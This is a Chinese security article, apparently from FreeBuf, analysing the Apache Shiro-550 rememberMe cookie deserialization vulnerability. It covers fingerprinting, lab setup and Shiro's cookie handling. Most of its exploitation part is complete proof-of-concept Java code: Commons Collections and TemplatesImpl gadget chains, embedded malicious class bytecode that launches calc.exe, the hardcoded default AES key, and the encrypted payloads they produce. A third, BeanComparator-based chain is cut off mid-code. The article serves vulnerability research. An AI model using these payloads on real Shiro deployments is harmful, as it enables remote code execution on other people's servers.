Java反序列化:Shiro-550反序列化漏洞深入剖析
文章详细介绍了Apache Shiro框架中由于默认加密密钥问题导致的反序列化漏洞。该漏洞允许攻击者伪造`rememberMe` Cookie并触发反序列化攻击。文章分析了Shiro的认证流程、环境搭建所需的依赖包,并展示了如何利用Commons Collections和BeanComparator构造Payload进行攻击。最终提供了基于BeanComparator的成功POC代码示例。 2025-10-9 07:2:37 Author: www.freebuf.com(查看原文) 阅读量:4 收藏

漏洞成因

为了让浏览器或服务器重启后用户不丢失状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的remeberMe字段中,下次读取时再进行反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的remeberMe Cookie,进而触发反序列化漏洞。

指纹识别

第一种:返回包中包含rememberMe=deleteMe字段

第二种:直接发送原数据包,返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段rememberMe=然后查看返回数据包中是否存在关键字

环境搭建

  • jdk 8u65

  • Tomcat:9.0.73

  • commons-beautils:1.8.3

  • commons-collections:3.2.1

  • commons-logging:1.2

  • shiro-web:1.2.4

  • shiro-core:1.2.4

  • slf4j-api:1.7.30

  • slf4j-simple:1.7.30

其中:

  • shiro-core、shiro-web是shiro本身的依赖

  • slf4j-api、slf4j-simple是为了显示shiro中的报错信息添加的依赖

  • commons-logging是shiro中用到的一个接口,不添加会报错

  • Tomcat中会用到jsp-api、javax.servlet-api依赖,仅在编译时使用

Tomcat自行下载,pom.xml添加依赖:

<dependencies>
    <!-- Apache Commons BeanUtils -->
    <dependency>
        <groupId>commons-beanutils</groupId>
        <artifactId>commons-beanutils</artifactId>
        <version>1.8.3</version>
    </dependency>
    
    <!-- Apache Commons Collections (存在反序列化漏洞的版本) -->
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    
    <!-- Apache Commons Logging -->
    <dependency>
        <groupId>commons-logging</groupId>
        <artifactId>commons-logging</artifactId>
        <version>1.2</version>
    </dependency>
    
    <!-- Apache Shiro Web -->
    <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-web</artifactId>
        <version>1.2.4</version>
    </dependency>
    
    <!-- Apache Shiro Core -->
    <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-core</artifactId>
        <version>1.2.4</version>
    </dependency>
    
    <!-- SLF4J API -->
    <dependency>
        <groupId>org.slf4j</groupId>
        <artifactId>slf4j-api</artifactId>
        <version>1.7.30</version>
    </dependency>
    
    <!-- SLF4J Simple Implementation -->
    <dependency>
        <groupId>org.slf4j</groupId>
        <artifactId>slf4j-simple</artifactId>
        <version>1.7.30</version>
    </dependency>
    
    <!-- Servlet API (通常provided范围) -->
    <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>javax.servlet-api</artifactId>
        <version>3.1.0</version>
        <scope>provided</scope>
    </dependency>
</dependencies>

利用条件

  • Shiro 1.x < 1.2.5

Shiro认证流程分析

在Shiro550中,我们知道漏洞产生主要是由于内置了一个默认且固定的加密key,使我们可以伪造任意的remeberMe Cookie造成反序列化,那么我们在发送cookie时经历了什么呢?

生成Cookie

首先在org.apache.shiro.web.mgt.CookieRememberMeManager定义了一个常量来表示默认的Cookie名:

image.png

也就是remeberMe,接着看CookieRememberMeManager构造方法:
image.png

SimpleCookie类主要记录了Cookie的一些基本属性:
image.png

image.png

传入remeberMe将name设为remeberMe,CookieRememberMeManager构造方法得到了一个Cookie类型的cookie对象

org.apache.shiro.web.mgt.CookieRememberMeManager主要定义了Cookie常量名并得到了cookie对象,我们向上探索在org.apache.shiro.mgt.RememberMeManager中找到了一些操作的方法:

image.png

其中onSuccessfulLogin似乎是登录成功后执行的操作,同时在这个接口实现类org.apache.shiro.mgt.AbstractRememberMeManager还发现了造成该反序列化漏洞的默认key:

image.png

并且该类重写了onSuccessfulLogin方法,跟进一下:

image.png

首先调用forgetIdentity方法清楚之前remeberMe的身份,随后看用户是否勾选了remeberMe,调用rememberIdentity方法:

image.png

调用了rememberIdentity的一个重载方法:

image.png

调用了convertPrincipalsToBytes方法,且bytes类型为数组类型类型对象,猜测该部分是设置Cookie的值,继续跟进:

image.png

image.png

image.png

调用了serialize对PrincipalCollection进行了序列化,将其转化为了字节数组

然后对字节数组进行加密,这里我们跟进看下加密逻辑:

image.png

image.png

先获取CipherService对象,在encrypt方法中,cipherService默认为AesCipherService对象。随后调用cipherService.encrypt方法

image.png

注意传入cipherService.encrypt方法中获取的key即是我们的默认key,最后会调用到org.apache.shiro.crypto.JcaCipherService类的encrypt方法进行了一次AES加密,这里就不跟了

我们再回到rememberIdentity抽象方法那,分析了如何转换成字节对象并加密后,接着还调用了rememberSerializedIdentity(subject, bytes);方法:

image.png

即会将我们的字节数组进行Base64编码保存在Cookie中

到这里Cookie生成的大致逻辑就差不多清晰了

验证Cookie

在我们第一次进行Shiro Web登录后,Shiro会将当前Subject信息保存在Cookie中。当我们发送一个Cookie时,那么Shiro必定对我们的Cookie进行验证,即执行与生成cookie相反的操作。也就是Shiro会对Cookie进行解码同时反序列化获取Subject的信息。既然这样,我们是否可以通过发送一个恶意的Cookie来造成反序列化漏洞呢?

一样的,先分析下Shiro验证Cookie的逻辑。

跳到org.apache.shiro.web.mgt.CookieRememberMeManager类的getRememberedSerializedIdentity方法:

image.png

这里会将我们的Cookie进行base64解码,随后按理说就是进行AES解密了,全局搜索getRememberedSerializedIdentity看哪里调用了该方法:
image.png

找到org.apache.shiro.mgt.AbstractRememberMeManager类中的getRememberedPrincipals调用了该方法:
![image-20250920164708808](shiro-image.png

其中这里的bytes就是经过base64解密后的Cookie值,随后会调用convertBytesToPrincipals方法:
image.png

这里就会对我们的Bytes进行解密并反序列化

漏洞利用

初步尝试

通过分析Shiro的认证流程,我们是可以通过伪造一个恶意的序列化对象来造成反序列化漏洞了

我们可利用Shiro Web中的commons-collections依赖来构造payload来攻击Shiro Web应用,这里我利用的是CC6链

先构造恶意序列化对象:

Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};

ConstantTransformer Runtime = new ConstantTransformer(Runtime.class);
InvokerTransformer getRuntime=new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]});
InvokerTransformer invoke=new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]});
InvokerTransformer exec=new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
ConstantTransformer l = new ConstantTransformer(1);
Transformer[] transformers=new Transformer[]{Runtime,getRuntime,invoke,exec,l};
ChainedTransformer chain=new ChainedTransformer(faketransformers);

Map innermap=new HashMap();
Map Lazymap=LazyMap.decorate(innermap, chain);
TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"111");
Map map=new HashMap();
map.put(tiedMapEntry,"b1uel0n3");
innermap.remove("111");

Field field=chain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain,transformers);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();

进行AES加密:

AesCipherService aes=new AesCipherService();
byte[] key=java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource cipher=aes.encrypt(barr.toByteArray(), key);

完整poc:

package shiro;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};

        ConstantTransformer Runtime = new ConstantTransformer(Runtime.class);
        InvokerTransformer getRuntime=new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]});
        InvokerTransformer invoke=new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]});
        InvokerTransformer exec=new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
        ConstantTransformer l = new ConstantTransformer(1);
        Transformer[] transformers=new Transformer[]{Runtime,getRuntime,invoke,exec,l};
        ChainedTransformer chain=new ChainedTransformer(faketransformers);

        Map innermap=new HashMap();
        Map Lazymap= LazyMap.decorate(innermap, chain);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"111");
        Map map=new HashMap();
        map.put(tiedMapEntry,"b1uel0n3");
        innermap.remove("111");

        Field field=chain.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chain,transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(map);
        oos.close();

        AesCipherService aes=new AesCipherService();
        byte[] key=java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource cipher=aes.encrypt(barr.toByteArray(), key);
        System.out.printf(cipher.toString());
    }
}
tQyIfWf//mjgRVpbl1oORJdn0LjKmoHcVVSszWFSiOQJIqDUeb4QDy+4rijqZan7PuqpniXI0WAqsXZyAAGDZc7naStdCXunPZuNyHTgx/1yLFW/D0t96B/M/OVDOCkp5Hsye4OCFdnOmVxeWOwkQE/rVHP7l8QHzgZ5qFqCJ6gWGKNATXzBE1K6GdrSW8F3zgh89aHqvjL4bw8eek5bSK9dJY1End1Ymlz/fLO9FmGGVZJHgpj2s35qWtH6CFyzXO9g8IQhlAgvE6Bb286rPhL886HoJTtW2pGp01vRsHOr1qwzA5McfNHCcbPzQsRFZ0QZ8sfvH0GQpTH7GpFCI4rQOFzZ7DMzgwZIR+SKBKf+/d5oBi5r5K1WfQNVcYdVv1ywKPcVpQhSL1pHMQRP+ILJ0lbehqx5F2R0YJuLne979aAH6RXF64vBuWpX1IQQLgqQ545ndLTO/rh4jP6FfmYyZ4hV0yHyqMJMZ0SuB4xIsajJOaEPGBgaTctLc58u4OF1L0qIqxqkuL3aJhKkmvPu/xrjADZ6Rf3TLu4YZEuNKRn03+qTi/LFbelD4LX9abJ7j6K3wDlEzFqXhZtIZlX7Dq7/0EKRyG7lfTji2QmTqxWulYnQRP6COq0dExQb0oxB4njcp2rE/rASWMjt9uF8qdcx/Al0q30qOhCpWzv+vn5xrZZb7N0GrgT8y0LZxVFDcvN/gvJITZQ1IZOMMewo+uF2ECWblDDtiRF6FpCizpv0Q0rfr9PDQw0dCPWIK3hhZHO7nYHIaxs0yE2tqgWWOL81clj8a5z/gdPF9cAIpcp3ASEw++sXACSPzXwBZCzOqLvknqZquVItIwhgnEOWAtBNWQktWBCZlPEifpyQdLmCKFE8y0iKd0njsFG2za6j8LrlsBwmgqIzkXwjiF5Y5+q1mqzv1no8/Tsc2284lL6I918C/bedTj3wP2dbgrd3XfdIcpk37MhiW6LSeUOXrXEq7j2QkVneatL+dtsRKw+ZLoZvagLeohzoKeY0L3SkqFjtEdkvgVgbmKQQ84TlMpNUjUHhmMo4EGyAc6vTF7Y6ogZi1FCN+SunUCvl4B4FaSQWp9Vb1ZRwDSTNxpqbTtHRnQ5aoAESY5uTWiBvWSayPzeLApobhnGn4Jf5NNsbjB7/MoBGugD/4mS3pr3kW5qWbOMQpePk30pFERrmcOC0GNMfY/W1C8qEVJCP1BZJRV3f2i6Z3fYbtCxui5w9QiqECnv0HWTcle6ywv9a0hScMBLtLnD+wi/FBsVo5skVZB9xczmnNaBtQmPI8jnBqN1ObTA8zvCSJPM4hpQiTo1eQSqZJUGM2Nbargtz8os4OlyDGjCx6mCEclbDoPKQz3jabaR/Zk2PLAEBo7SGd5DCk/hze/Bjil2vfICMcEMeQpaJKoL+C2G8aDbmVA1S5wY+tVCMWMsTMgziayFltLXfzMxDNOZsEFJoollwJ2t31z4quvakG7W/OfTHWwdU2/PGztuEUDsCzCH3b3lyAeRBqBRR55+WayAmyU25EBRNuzleznJTM1znmHawR+oJtb/g1vFrvHPH8jxHDyxWLRw1xSfHbnNQiRbllxQK5Us0igulF8BQkH2sJZgAIVqRdxxTh4hTx0ZMEJZkpjOuUOO4+kF/jNP0bs8tK51kfOep5JBK/ioep/7L24TQoA==

把输出的内容当作remeberMe的值发送,结果报错了:
image.png

image.png

image.png

三个问题:

  • 无法反序列化字节数组参数

  • 无法加载ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]

  • 无法从线程上下文、当前或系统应用程序类加载器加载名为[[Lorg.apache.commons.collections.Transformer;] 的类。所有启发式都已用尽,找不到类。

从源码入手,定位到org.apache.shiro.io.DefaultSerializer类:
image.png

在这就会抛出一个异常说无法反序列化字节数组参数

这里实例化了一个ClassResolvingObjectInputStream类,该类继承了ObjectInputStream类。

该类重写了resolveClass方法,该方法主要用于根据序列化数据中的类描述信息解析并加载对应Java类

image.png

如果加载失败会抛出ClassNotFoundException异常即第二个报错对应的情况

而在ClassUtils.forName方法中,clazz为null,会抛出UnknownClassException异常,即第三个报错的内容

image.png

在ClassResolvingObjectInputStream类的resolveClass方法中,利用了ClassUtils.forName方法来获取Class对象

其中fqcn为[Lorg.apache.commons.collections.Transformer,这里的[L是JVM的标记,表示是一个数组,即Transformer[],随后通过loadClass方法来获取Class对象,而非Class.forName方法

编写POC

既然不能使用Transformer[]数组,那么这里我就想着是否能用CC2的部分思路来加载恶意字节码,因为CC2是没有用Transformer[]数组的,当然如果版本允许可以直接用CC2

因为我们需要调用的是TemplatesImpl.newTransformer方法

image.png

在CC2中,是通过给tansformer传值为InvokerTransformer同时obj1传入TemplatesImpl对象实现加载字节码的

image.png

而在LazyMap.get方法中,虽然前面poc不一样,但后面思路一样的,我们同样可以利用InvokerTransformer.transform(TemplatesImpl)来执行TemplatesImpl.newTransformer方法,即:

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);

Map map = new HashMap();
TiedMapEntry e = new TiedMapEntry(outerMap, Impl);
map.put(e, "b1uel0n3");
outerMap.clear();

完整POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception {
        byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

        TemplatesImpl Impl = new TemplatesImpl();
        setValue(Impl,"_name","b1uel0n3");
        setValue(Impl,"_class",null);
        setValue(Impl,"_bytecodes",new byte[][]{bytes});
        setValue(Impl,"_tfactory",new TransformerFactoryImpl());

        InvokerTransformer invokerTransformer=new InvokerTransformer("toString",new Class[0],new Object[0]);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);

        Map map = new HashMap();
        TiedMapEntry e = new TiedMapEntry(outerMap, Impl);
        map.put(e, "b1uel0n3");
        outerMap.clear();

        setValue(invokerTransformer,"iMethodName","newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(map);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());
    }
    public static void setValue(Object obj, String filedname, Object value) throws Exception {
        Field field=obj.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        field.set(obj,value);
    }
}
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

image.png

成功弹计算机

CB攻击

在我们引入shiro依赖时其实会自动引入commons-beautils包。并且如果我们剔除commons-collections依赖shiro web依然能够正常运行,那么我们是否可以不通过CC依赖直接实现CB攻击呢?

先利用CB链的poc生成payload:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class test {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name","B1uel0n3");
        setValue(templates,"_class",null);
        setValue(templates,"_bytecodes",new byte[][]{bytes});
        setValue(templates,"_tfactory",new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator("outputProperties");

        PriorityQueue queue = new PriorityQueue(2,beanComparator);
        queue.add(1);
        queue.add(1);

        Object[] queueArray=(Object[]) getValue(queue,"queue");
        queueArray[0]=templates;
        queueArray[1]=1;

